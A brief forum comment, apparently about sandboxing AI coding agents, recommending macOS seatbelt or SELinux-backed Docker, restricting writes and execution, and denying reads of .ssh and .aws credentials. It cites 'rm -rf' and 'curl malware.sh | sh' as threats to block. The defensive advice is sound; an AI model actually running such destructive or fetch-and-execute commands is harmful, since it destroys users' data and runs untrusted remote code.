On MacOS you have a seatbelt sandbox built-in. On Linux - docker with SELinux or similar utility over namespaces.

You need to model attack vector first.

`rm -rf` - restricted write

`curl malware.sh | sh` restrict execution from writeable dirs (seatbelt/SELinux)

Restricted write to sensitive directories would most likely neuter most malware.

Credentials leak - cleanup environment, deny reading .ssh, .aws, other, and don't allow LLMs anywhere near production systems.

I made a small utility for MacOS https://github.com/aka-rider/leash

But it may be as well a bash script